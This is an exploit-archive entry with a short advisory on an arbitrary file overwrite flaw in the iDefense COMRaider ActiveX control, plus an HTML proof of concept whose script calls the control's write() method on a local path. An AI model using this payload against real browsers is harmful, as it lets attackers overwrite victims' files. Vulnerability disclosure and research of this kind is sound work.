iDefense COMRaider - ActiveX Control 'write()' Arbitrary File Overwrite

Author: Amir Zangeneh
type: remote
platform: windows
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date_added: 2009-03-02 
date_updated: 2014-04-12 
verified: 1 
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source: https://www.securityfocus.com/bid/33942/info

iDefense COMRaider ActiveX control is prone to a vulnerability that lets attackers overwrite arbitrary local files on the victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).

<HTML> <BODY> <object id=target classid="clsid:{9A077D0D-B4A6-4EC0-B6CF-98526DF589E4}"></object> <SCRIPT> function Poc() { arg1="c:\boo.txt" target.write(arg1) } </SCRIPT> <input language=JavaScript onclick=Poc() type=button value="Proof of Concept"> </BODY> </HTML>